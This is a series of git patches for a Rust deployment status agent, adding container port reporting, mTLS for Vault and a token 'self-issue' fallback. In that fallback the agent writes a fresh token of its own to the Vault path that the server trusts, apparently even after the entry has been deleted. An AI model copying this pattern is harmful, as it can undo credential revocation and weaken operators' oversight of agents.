"175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3036,7 +3556,7 @@ version = "3.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4fa237f2807440d238e0364a218270b98f767a00d3dada77b1c53ae88940e2e7" dependencies = [ - "base64", + "base64 0.22.1", "chrono", "hex", "indexmap 1.9.3", @@ -3107,6 +3627,12 @@ dependencies = [ "libc", ] +[[package]] +name = "simd-adler32" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" + [[package]] name = "similar" version = "2.7.0" @@ -3204,7 +3730,7 @@ dependencies = [ "assert_cmd", "async-trait", "axum 0.8.7", - "base64", + "base64 0.22.1", "bollard", "bytes", "chrono", @@ -3217,7 +3743,10 @@ dependencies = [ "hyper", "lapin", "mockito", + "native-tls", "nix", + "pipe-adapter-mail", + "pipe-adapter-sdk", "prost", "prost-types", "protoc-bin-vendored", @@ -3235,7 +3764,7 @@ dependencies = [ "sysinfo", "tempfile", "tera", - "thiserror", + "thiserror 2.0.17", "tokio", "tokio-test", "tokio-tungstenite", @@ -3249,6 +3778,18 @@ dependencies = [ "zeroize", ] +[[package]] +name = "stop-token" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af91f480ee899ab2d9f8435bfdfc14d08a5754bd9d3fef1f1a1c23336aad6c8b" +dependencies = [ + "async-channel 1.9.0", + "cfg-if", + "futures-core", + "pin-project-lite", +] + [[package]] name = "strsim" version = "0.11.1" @@ -3261,6 +3802,17 @@ version = "2.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + [[package]] name = "syn" version = "2.0.111" @@ -3289,7 +3841,7 @@ checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3360,13 +3912,33 @@ version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f50febec83f5ee1df3015341d8bd429f2d1cc62bcba7ea2076759d315084683" +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + [[package]] name = "thiserror" version = "2.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f63587ca0f12b72a0600bcba1d40081f830876000bb46dd2337a3051618f4fc8" dependencies = [ - "thiserror-impl", + "thiserror-impl 2.0.17", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.111", ] [[package]] @@ -3377,7 +3949,7 @@ checksum = "3ff15c8ecd7de3849db632e14d18d2571fa09dfc5ed93479bc4485c7a517c913" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3470,7 +4042,7 @@ checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3545,7 +4117,7 @@ dependencies = [ "async-stream", "async-trait", "axum 0.7.9", - "base64", + "base64 0.22.1", "bytes", "h2", "http", @@ -3579,7 +4151,7 @@ dependencies = [ "prost-build", "prost-types", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3624,7 +4196,7 @@ version = "0.6.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.1", "bytes", "futures-core", "futures-util", @@ -3678,7 +4250,7 @@ checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3754,7 +4326,7 @@ dependencies = [ "rustls", "rustls-pki-types", "sha1", - "thiserror", + "thiserror 2.0.17", "utf-8", ] @@ -3847,6 +4419,18 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" +[[package]] +name = "value-bag" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ba6f5989077681266825251a52748b8c1d8a4ad098cc37e440103d0ea717fc0" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + [[package]] name = "version_check" version = "0.9.5" @@ -3947,7 +4531,7 @@ dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn", + "syn 2.0.111", "wasm-bindgen-shared", ] @@ -4069,7 +4653,7 @@ checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -4080,7 +4664,7 @@ checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -4362,10 +4946,10 @@ dependencies = [ "data-encoding", "der-parser", "lazy_static", - "nom", + "nom 7.1.3", "oid-registry", "rusticata-macros", - "thiserror", + "thiserror 2.0.17", "time", ] @@ -4388,7 +4972,7 @@ checksum = "b659052874eb698efe5b9e8cf382204678a0086ebf46982b79d6ca3182927e5d" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", "synstructure", ] @@ -4409,7 +4993,7 @@ checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -4429,7 +5013,7 @@ checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", "synstructure", ] @@ -4469,5 +5053,5 @@ checksum = "eadce39539ca5cb3985590102671f2567e659fca9666581ad3411d59207951f3" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] diff --git a/src/commands/stacker.rs b/src/commands/stacker.rs index 958da4b..3c27369 100644 --- a/src/commands/stacker.rs +++ b/src/commands/stacker.rs @@ -8411,6 +8411,7 @@ fn probe_issue_for_protocol(protocol: &str) -> String { } #[cfg(any(feature = "docker", test))] +#[allow(clippy::too_many_arguments)] fn build_probe_result_payload( deployment_hash: &str, app_code: &str, diff --git a/src/connectors/npm.rs b/src/connectors/npm.rs index ddca65d..d32da92 100644 --- a/src/connectors/npm.rs +++ b/src/connectors/npm.rs @@ -483,13 +483,13 @@ fn redact_key_value(message: &str, key: &str) -> String { return message.to_string(); }; let value_start = message[index + key.len()..] - .find(|ch: char| ch == ':' || ch == '=') + .find([':', '=']) .map(|offset| index + key.len() + offset + 1); let Some(value_start) = value_start else { return message.to_string(); }; let value_end = message[value_start..] - .find(|ch: char| ch == ',' || ch == '&' || ch == '\n') + .find([',', '&', '\n']) .map(|offset| value_start + offset) .unwrap_or(message.len()); format!("{}***{}", &message[..value_start], &message[value_end..]) From fb2b2506b31a2257c4df4c9c174766f93c1bc47e Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sat, 30 May 2026 17:09:27 +0300 Subject: [PATCH 11/23] copy stacker source code --- Dockerfile | 1 + Dockerfile.prod | 1 + 2 files changed, 2 insertions(+) diff --git a/Dockerfile b/Dockerfile index f020fa4..045b3e7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,6 +8,7 @@ COPY src src COPY templates templates COPY static static COPY config.json config.json +COPY stacker stacker # Build a statically linked binary to avoid runtime glibc mismatches. RUN rustup target add x86_64-unknown-linux-musl && \ diff --git a/Dockerfile.prod b/Dockerfile.prod index 2edd4fe..e033381 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -10,6 +10,7 @@ COPY src src COPY templates templates COPY static static COPY config.json config.json +COPY stacker stacker # Build a statically linked binary for the target architecture. RUN case "${TARGETARCH}" in \ From 97f7f28175393ab6506d90316c8a3a24adb799f3 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Mon, 1 Jun 2026 11:20:48 +0300 Subject: [PATCH 12/23] include only stacker/crates --- Dockerfile | 2 +- Dockerfile.prod | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 045b3e7..293efbb 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,7 +8,7 @@ COPY src src COPY templates templates COPY static static COPY config.json config.json -COPY stacker stacker +COPY stacker/crates stacker/crates # Build a statically linked binary to avoid runtime glibc mismatches. RUN rustup target add x86_64-unknown-linux-musl && \ diff --git a/Dockerfile.prod b/Dockerfile.prod index e033381..8ff9de9 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -10,7 +10,7 @@ COPY src src COPY templates templates COPY static static COPY config.json config.json -COPY stacker stacker +COPY stacker/crates stacker/crates # Build a statically linked binary for the target architecture. RUN case "${TARGETARCH}" in \ From 6c68af7572f4fb6ff9caecc861bce32b75b6fada Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Mon, 1 Jun 2026 14:19:42 +0300 Subject: [PATCH 13/23] show ports in status --- src/agent/docker.rs | 23 +++++++++++++++++++++++ src/commands/stacker.rs | 36 ++++++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+) diff --git a/src/agent/docker.rs b/src/agent/docker.rs index ee9ffdf..c680537 100644 --- a/src/agent/docker.rs +++ b/src/agent/docker.rs @@ -35,6 +35,8 @@ pub struct ContainerHealth { pub restart_count: Option, #[serde(skip_serializing_if = "HashMap::is_empty", default)] pub labels: HashMap, + #[serde(skip_serializing_if = "Vec::is_empty", default)] + pub ports: Vec, } #[derive(Serialize, Clone, Debug)] @@ -392,11 +394,32 @@ pub async fn list_container_health() -> Result> { .map(|s| s.to_string()) .unwrap_or_else(|| "unknown".to_string()); + let ports = c + .ports + .unwrap_or_default() + .into_iter() + .filter_map(|p| { + if let Some(host_port) = p.public_port { + let proto = p + .typ + .map(|t| { + let s = t.to_string(); + if s.is_empty() { "tcp".to_string() } else { s } + }) + .unwrap_or_else(|| "tcp".to_string()); + Some(format!("{}:{}/{}", host_port, p.private_port, proto)) + } else { + None + } + }) + .collect::>(); + let mut item = ContainerHealth { name: name.clone(), status, image: c.image.unwrap_or_default(), labels: c.labels.unwrap_or_default(), + ports, ..Default::default() }; diff --git a/src/commands/stacker.rs b/src/commands/stacker.rs index 3c27369..910b16e 100644 --- a/src/commands/stacker.rs +++ b/src/commands/stacker.rs @@ -4930,6 +4930,41 @@ async fn handle_health(agent_cmd: &AgentCommand, data: &HealthCommand) -> Result let target_name = resolve_container_name(&data.app_code, &data.container); + // Return health for every container when app_code is "all" or empty. + if data.app_code == "all" || data.app_code.is_empty() && !data.include_system { + let mut all_list = Vec::new(); + for entry in &containers { + let container_state = map_container_state(&entry.status).to_string(); + let mut item = json!({ + "app_code": entry.name.trim_start_matches('/'), + "container_name": entry.name.trim_start_matches('/'), + "container_state": container_state, + "status": derive_health_status(&container_state, false), + }); + if data.include_metrics { + item["metrics"] = build_metrics(entry); + } + all_list.push(item); + } + let overall = if all_list + .iter() + .all(|c| c.get("status").and_then(|v| v.as_str()) == Some("ok")) + { + "ok" + } else { + "degraded" + }; + let body = json!({ + "type": "all_health", + "deployment_hash": data.deployment_hash.clone(), + "status": overall, + "last_heartbeat_at": now_timestamp(), + "containers": all_list, + }); + result.result = Some(body); + return Ok(result); + } + // Handle system containers request (status_panel, compose-agent, etc.) if data.include_system && (data.app_code.is_empty() || data.app_code == "system") { let system_patterns = [ @@ -8081,6 +8116,7 @@ async fn handle_list_containers( "name": c.name, "status": c.status, "image": c.image, + "ports": c.ports, "cpu_pct": c.cpu_pct, "mem_usage_bytes": c.mem_usage_bytes, "mem_limit_bytes": c.mem_limit_bytes, From d3769ad196c602198e1158e6fe50566515b08ac9 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Mon, 1 Jun 2026 14:32:51 +0300 Subject: [PATCH 14/23] fmt all --- src/agent/docker.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/agent/docker.rs b/src/agent/docker.rs index c680537..e430508 100644 --- a/src/agent/docker.rs +++ b/src/agent/docker.rs @@ -404,7 +404,11 @@ pub async fn list_container_health() -> Result> { .typ .map(|t| { let s = t.to_string(); - if s.is_empty() { "tcp".to_string() } else { s } + if s.is_empty() { + "tcp".to_string() + } else { + s + } }) .unwrap_or_else(|| "tcp".to_string()); Some(format!("{}:{}/{}", host_port, p.private_port, proto)) From 9b44aedd9c76dfe1ccdb37a86c0fd176ccba591b Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Mon, 1 Jun 2026 19:16:18 +0300 Subject: [PATCH 15/23] release: bump version to v0.2.0 Co-Authored-By: Claude Sonnet 4.6 --- Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Cargo.toml b/Cargo.toml index 51afb29..4845b74 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "status-panel" -version = "0.1.9" +version = "0.2.0" edition = "2021" [features] From ea3c4ad7fc71497db6708646afcdc34762f164d3 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Wed, 3 Jun 2026 17:51:55 +0300 Subject: [PATCH 16/23] feat(security): autonomous agent token recovery via Vault self-issue MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add Strategy 3 to TokenProvider::refresh(): when Vault read and env fallback both yield no new token, generate a 32-byte CSPRNG token, write it to the agent's Vault KV path, and swap it in-memory. Since Stacker validates by reading the same Vault KV path, the next signed poll is accepted — no operator intervention or stacker-cli re-install required. Emit a token_self_issued audit event (target=audit, level=warn) so SIEM/SOC pipelines can distinguish agent-initiated recovery from Stacker-pushed rotations. Tests cover both the happy path (read 404 → write 200 → token swapped) and the unauthorized path (write 403 → token unchanged), with mock expectations to verify Strategy 3 actually hit Vault. Co-Authored-By: Claude Sonnet 4.6 --- Cargo.lock | 2 +- src/security/audit_log.rs | 4 ++ src/security/token_provider.rs | 119 +++++++++++++++++++++++++++++++++ 3 files changed, 124 insertions(+), 1 deletion(-) diff --git a/Cargo.lock b/Cargo.lock index 4aa2128..af0ef84 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3724,7 +3724,7 @@ checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" [[package]] name = "status-panel" -version = "0.1.9" +version = "0.2.0" dependencies = [ "anyhow", "assert_cmd", diff --git a/src/security/audit_log.rs b/src/security/audit_log.rs index 68ca24b..f78c9dd 100644 --- a/src/security/audit_log.rs +++ b/src/security/audit_log.rs @@ -46,6 +46,10 @@ impl AuditLogger { info!(target: "audit", event = "token_rotated", agent_id, request_id = request_id.unwrap_or("")); } + pub fn token_self_issued(&self, deployment_hash: &str, reason: &str) { + warn!(target: "audit", event = "token_self_issued", deployment_hash, reason); + } + pub fn internal_error( &self, agent_id: Option<&str>, diff --git a/src/security/token_provider.rs b/src/security/token_provider.rs index 61f8bfc..3b0231d 100644 --- a/src/security/token_provider.rs +++ b/src/security/token_provider.rs @@ -108,6 +108,28 @@ impl TokenProvider { return Ok(true); } + // Strategy 3: self-issue a new token and write it to Vault. + // Stacker validates by reading from the same Vault KV path, so a token + // the agent writes there is immediately accepted on the next poll. + if let Some(vault) = &self.vault_client { + let new_token = generate_secure_token(); + match vault + .store_agent_token(&self.deployment_hash, &new_token, None) + .await + { + Ok(()) => { + let mut token = self.token.write().await; + *token = new_token; + super::audit_log::AuditLogger::new() + .token_self_issued(&self.deployment_hash, "primary_strategies_failed"); + return Ok(true); + } + Err(e) => { + warn!(error = %e, "Vault self-issue failed; token unchanged"); + } + } + } + debug!("No new token available after refresh attempt"); Ok(false) } @@ -121,6 +143,14 @@ impl TokenProvider { } } +fn generate_secure_token() -> String { + use ring::rand::{SecureRandom, SystemRandom}; + let rng = SystemRandom::new(); + let mut bytes = [0u8; 32]; + rng.fill(&mut bytes).expect("CSPRNG failure"); + bytes.iter().map(|b| format!("{:02x}", b)).collect() +} + #[cfg(test)] mod tests { use super::*; @@ -190,4 +220,93 @@ mod tests { tp2.swap("b".into()).await; assert_eq!(tp.get().await, "b"); } + + #[tokio::test] + async fn refresh_self_issues_token_when_vault_has_no_entry() { + use crate::security::vault_client::VaultClient; + use mockito::Server; + + let _guard = env_lock().lock().unwrap(); + + let mut server = Server::new_async().await; + + // Strategy 1: Vault read returns 404 (KV entry was deleted) + let read = server + .mock("GET", "/v1/status_panel/dep-abc/status_panel_token") + .with_status(404) + .with_body(r#"{"errors":[]}"#) + .expect(1) + .create_async() + .await; + + // Strategy 3: Vault write accepted (must be called exactly once) + let write = server + .mock("POST", "/v1/status_panel/dep-abc/status_panel_token") + .with_status(200) + .with_body("{}") + .expect(1) + .create_async() + .await; + + let _addr = EnvGuard::set("VAULT_ADDRESS", &server.url()); + let _tok = EnvGuard::set("VAULT_TOKEN", "vault-root"); + let _prefix = EnvGuard::set("VAULT_AGENT_PATH_PREFIX", "status_panel"); + // Strategy 2 is a no-op: env token matches current + let _agent = EnvGuard::set("AGENT_TOKEN", "stale-token"); + + let vault = VaultClient::from_env().unwrap().unwrap(); + let tp = TokenProvider::new("stale-token".into(), Some(vault), "dep-abc".into()); + + let changed = tp.refresh().await.unwrap(); + assert!(changed, "expected self-issued token to be applied"); + + let new_token = tp.get().await; + assert_ne!(new_token, "stale-token"); + assert_eq!(new_token.len(), 64, "expected 32-byte hex token"); + assert!(new_token.chars().all(|c| c.is_ascii_hexdigit())); + + read.assert_async().await; + write.assert_async().await; + } + + #[tokio::test] + async fn refresh_keeps_token_when_vault_write_forbidden() { + use crate::security::vault_client::VaultClient; + use mockito::Server; + + let _guard = env_lock().lock().unwrap(); + + let mut server = Server::new_async().await; + + // Strategy 1: Vault read returns 404 + let _read = server + .mock("GET", "/v1/status_panel/dep-xyz/status_panel_token") + .with_status(404) + .with_body(r#"{"errors":[]}"#) + .create_async() + .await; + + // Strategy 3: Vault write rejected (agent lacks write capability) + let write = server + .mock("POST", "/v1/status_panel/dep-xyz/status_panel_token") + .with_status(403) + .with_body(r#"{"errors":["permission denied"]}"#) + .expect(1) + .create_async() + .await; + + let _addr = EnvGuard::set("VAULT_ADDRESS", &server.url()); + let _tok = EnvGuard::set("VAULT_TOKEN", "vault-root"); + let _prefix = EnvGuard::set("VAULT_AGENT_PATH_PREFIX", "status_panel"); + let _agent = EnvGuard::set("AGENT_TOKEN", "stale-token"); + + let vault = VaultClient::from_env().unwrap().unwrap(); + let tp = TokenProvider::new("stale-token".into(), Some(vault), "dep-xyz".into()); + + let changed = tp.refresh().await.unwrap(); + assert!(!changed, "Strategy 3 must not claim success on write failure"); + assert_eq!(tp.get().await, "stale-token", "token must not change on failure"); + + write.assert_async().await; + } } From e04494fedcf33802a3c1f1c39657c6f4489f97f7 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Thu, 4 Jun 2026 11:32:54 +0300 Subject: [PATCH 17/23] fmt all --- src/security/token_provider.rs | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/src/security/token_provider.rs b/src/security/token_provider.rs index 3b0231d..609c991 100644 --- a/src/security/token_provider.rs +++ b/src/security/token_provider.rs @@ -304,8 +304,15 @@ mod tests { let tp = TokenProvider::new("stale-token".into(), Some(vault), "dep-xyz".into()); let changed = tp.refresh().await.unwrap(); - assert!(!changed, "Strategy 3 must not claim success on write failure"); - assert_eq!(tp.get().await, "stale-token", "token must not change on failure"); + assert!( + !changed, + "Strategy 3 must not claim success on write failure" + ); + assert_eq!( + tp.get().await, + "stale-token", + "token must not change on failure" + ); write.assert_async().await; } From db5784902bc2fac1f809ff395663c9327fcbd421 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Fri, 26 Jun 2026 16:36:55 +0300 Subject: [PATCH 18/23] vault mTLS: add mTLS client cert support to Status Panel agent - load_mtls_identity() loads client cert from VAULT_CLIENT_CERT/KEY or VAULT_CLIENT_CERT_PATH/KEY_PATH - ReqwestVaultTransport and VaultClient::from_env() both use mTLS identity when configured --- src/security/vault_client.rs | 69 ++++++++++++++++++++++++++++++------ 1 file changed, 58 insertions(+), 11 deletions(-) diff --git a/src/security/vault_client.rs b/src/security/vault_client.rs index 505d4e8..c51d90e 100644 --- a/src/security/vault_client.rs +++ b/src/security/vault_client.rs @@ -49,7 +49,7 @@ use anyhow::{Context, Result}; use async_trait::async_trait; -use reqwest::{Client, StatusCode}; +use reqwest::{Client, Identity, StatusCode}; use serde::{Deserialize, Serialize}; use std::collections::HashMap; use std::fmt; @@ -369,13 +369,23 @@ trait VaultTransport: Send + Sync { #[derive(Debug, Default)] struct ReqwestVaultTransport; +impl ReqwestVaultTransport { + fn build_client() -> Result { + let mut builder = Client::builder() + .timeout(std::time::Duration::from_secs(10)); + + if let Some(identity) = load_mtls_identity() { + builder = builder.identity(identity); + } + + builder.build().context("creating HTTP client") + } +} + #[async_trait] impl VaultTransport for ReqwestVaultTransport { async fn get(&self, url: &str, token: &str) -> Result { - let response = Client::builder() - .timeout(std::time::Duration::from_secs(10)) - .build() - .context("creating HTTP client")? + let response = Self::build_client()? .get(url) .header("X-Vault-Token", token) .send() @@ -393,10 +403,7 @@ impl VaultTransport for ReqwestVaultTransport { token: &str, payload: &serde_json::Value, ) -> Result { - let response = Client::builder() - .timeout(std::time::Duration::from_secs(10)) - .build() - .context("creating HTTP client")? + let response = Self::build_client()? .post(url) .header("X-Vault-Token", token) .json(payload) @@ -410,6 +417,39 @@ impl VaultTransport for ReqwestVaultTransport { } } +/// Load mTLS client certificate identity from environment variables. +/// +/// Supports two modes: +/// 1. Inline PEM via `VAULT_CLIENT_CERT` and `VAULT_CLIENT_KEY` env vars +/// 2. File paths via `VAULT_CLIENT_CERT_PATH` and `VAULT_CLIENT_KEY_PATH` env vars +/// +/// Returns `None` if neither set (mTLS is optional — degradation path). +fn load_mtls_identity() -> Option { + let cert_pem = std::env::var("VAULT_CLIENT_CERT").ok() + .or_else(|| { + let path = std::env::var("VAULT_CLIENT_CERT_PATH").ok()?; + std::fs::read_to_string(path).ok() + })?; + + let key_pem = std::env::var("VAULT_CLIENT_KEY").ok() + .or_else(|| { + let path = std::env::var("VAULT_CLIENT_KEY_PATH").ok()?; + std::fs::read_to_string(path).ok() + })?; + + let identity_pem = format!("{}\n{}", cert_pem, key_pem); + match Identity::from_pem(identity_pem.as_bytes()) { + Ok(identity) => { + debug!("mTLS client identity loaded for Vault connections"); + Some(identity) + } + Err(e) => { + warn!("Failed to load mTLS client identity: {}", e); + None + } + } +} + // ============================================================================= // Vault Client Implementation // ============================================================================= @@ -495,8 +535,15 @@ impl VaultClient { // Configure HTTP client with security-conscious defaults: // - 10 second timeout prevents resource exhaustion from hanging connections // - TLS certificate validation enabled by default (reqwest behavior) - let http_client = Client::builder() - .timeout(std::time::Duration::from_secs(10)) + // - mTLS client identity loaded from VAULT_CLIENT_CERT / VAULT_CLIENT_KEY + let mut builder = Client::builder() + .timeout(std::time::Duration::from_secs(10)); + + if let Some(identity) = load_mtls_identity() { + builder = builder.identity(identity); + } + + let http_client = builder .build() .context("creating HTTP client")?; From f9fa3353b846359f91f6c36048c37222415b9df7 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sat, 27 Jun 2026 13:51:03 +0300 Subject: [PATCH 19/23] mTLS support, Vault connection --- .env.example | 4 ++++ docker-compose-dev.yml | 6 +++--- docker-compose.yml | 2 ++ src/security/vault_client.rs | 30 ++++++++++++------------------ 4 files changed, 21 insertions(+), 21 deletions(-) diff --git a/.env.example b/.env.example index fb8babe..635e977 100644 --- a/.env.example +++ b/.env.example @@ -24,6 +24,10 @@ COMMAND_TIMEOUT_SECS=300 STATUS_PANEL_USERNAME=admin STATUS_PANEL_PASSWORD=admin +# HTTP bind address. Defaults to 127.0.0.1 (loopback) for bare-metal safety. +# In containers with port mapping, must be 0.0.0.0 to be reachable from the host. +STATUS_PANEL_BIND=0.0.0.0 + # Backup signer / verification DEPLOYMENT_HASH=replace-with-secret TRYDIRECT_IP=127.0.0.1 diff --git a/docker-compose-dev.yml b/docker-compose-dev.yml index 848d6dc..24cd5e3 100644 --- a/docker-compose-dev.yml +++ b/docker-compose-dev.yml @@ -2,14 +2,14 @@ version: '2.2' services: statuspanel: - image: status + image: trydirect/status:dev container_name: statuspanel ports: - "5000:5000" volumes: - - .:/app + #- .:/app - /var/run/docker.sock:/var/run/docker.sock - - /data/encrypted:/data/encrypted + #- /data/encrypted:/data/encrypted # Mount docker CLI from host for deploy_app/remove_app commands - /usr/bin/docker:/usr/bin/docker:ro - /usr/libexec/docker/cli-plugins:/usr/libexec/docker/cli-plugins:ro diff --git a/docker-compose.yml b/docker-compose.yml index 0d8ea9a..e4f6d85 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -17,6 +17,8 @@ services: environment: - NGINX_CONTAINER=nginx - COMPOSE_AGENT_ENABLED=true + # Container port mapping requires binding all interfaces. + - STATUS_PANEL_BIND=0.0.0.0 # Default: serve with UI command: ["serve", "--port", "5000", "--with-ui"] diff --git a/src/security/vault_client.rs b/src/security/vault_client.rs index c51d90e..5bdf798 100644 --- a/src/security/vault_client.rs +++ b/src/security/vault_client.rs @@ -371,8 +371,7 @@ struct ReqwestVaultTransport; impl ReqwestVaultTransport { fn build_client() -> Result { - let mut builder = Client::builder() - .timeout(std::time::Duration::from_secs(10)); + let mut builder = Client::builder().timeout(std::time::Duration::from_secs(10)); if let Some(identity) = load_mtls_identity() { builder = builder.identity(identity); @@ -425,17 +424,15 @@ impl VaultTransport for ReqwestVaultTransport { /// /// Returns `None` if neither set (mTLS is optional — degradation path). fn load_mtls_identity() -> Option { - let cert_pem = std::env::var("VAULT_CLIENT_CERT").ok() - .or_else(|| { - let path = std::env::var("VAULT_CLIENT_CERT_PATH").ok()?; - std::fs::read_to_string(path).ok() - })?; - - let key_pem = std::env::var("VAULT_CLIENT_KEY").ok() - .or_else(|| { - let path = std::env::var("VAULT_CLIENT_KEY_PATH").ok()?; - std::fs::read_to_string(path).ok() - })?; + let cert_pem = std::env::var("VAULT_CLIENT_CERT").ok().or_else(|| { + let path = std::env::var("VAULT_CLIENT_CERT_PATH").ok()?; + std::fs::read_to_string(path).ok() + })?; + + let key_pem = std::env::var("VAULT_CLIENT_KEY").ok().or_else(|| { + let path = std::env::var("VAULT_CLIENT_KEY_PATH").ok()?; + std::fs::read_to_string(path).ok() + })?; let identity_pem = format!("{}\n{}", cert_pem, key_pem); match Identity::from_pem(identity_pem.as_bytes()) { @@ -536,16 +533,13 @@ impl VaultClient { // - 10 second timeout prevents resource exhaustion from hanging connections // - TLS certificate validation enabled by default (reqwest behavior) // - mTLS client identity loaded from VAULT_CLIENT_CERT / VAULT_CLIENT_KEY - let mut builder = Client::builder() - .timeout(std::time::Duration::from_secs(10)); + let mut builder = Client::builder().timeout(std::time::Duration::from_secs(10)); if let Some(identity) = load_mtls_identity() { builder = builder.identity(identity); } - let http_client = builder - .build() - .context("creating HTTP client")?; + let http_client = builder.build().context("creating HTTP client")?; // Note: We log the base_url but NEVER log the token debug!("Vault client initialized with base_url={}", base); From 70d71fc5d1e7a96bfe222df3e3c53b74a98c18dd Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sun, 28 Jun 2026 12:04:02 +0300 Subject: [PATCH 20/23] Update DEFAULT_VAULT_URL to :8443 for mTLS --- ...48bd3ac6156202bebe6a8aa38fa20e656cd35.json | 56 ++++++++++ ...d8488b78a69d94f6735b7a874423724673f44.json | 62 +++++++++++ ...55c99ef733b27339c9375cdbe499e3a0c8b7a.json | 62 +++++++++++ development.md.bak | 21 ++++ stacker/stacker/src/cli/stacker_client.rs | 2 +- web/.stacker/Dockerfile | 15 +++ web/.stacker/active-target | 1 + .../production/config-bundle.manifest.json | 13 +++ .../deploy/production/config-bundle.tar.zst | Bin 0 -> 223 bytes .../production/docker-compose.remote.yml | 26 +++++ web/.stacker/deployment-cloud.lock | 11 ++ web/.stacker/deployment-cloud.lock.back | 11 ++ web/.stacker/deployment-local.lock | 11 ++ ...48bd3ac6156202bebe6a8aa38fa20e656cd35.json | 56 ++++++++++ ...3a455cb462df04e62db8c92bfdd7d53dc53b3.json | 47 +++++++++ ...443049b23994e2c8a523c95f9a6ceb632840e.json | 80 ++++++++++++++ ...0136c2ca24a8f4a7b416c9628be021b93b7a3.json | 80 ++++++++++++++ ...c7eb8f3d5704623b89cfb49eb82069e81bd25.json | 47 +++++++++ ...55c99ef733b27339c9375cdbe499e3a0c8b7a.json | 56 ++++++++++ 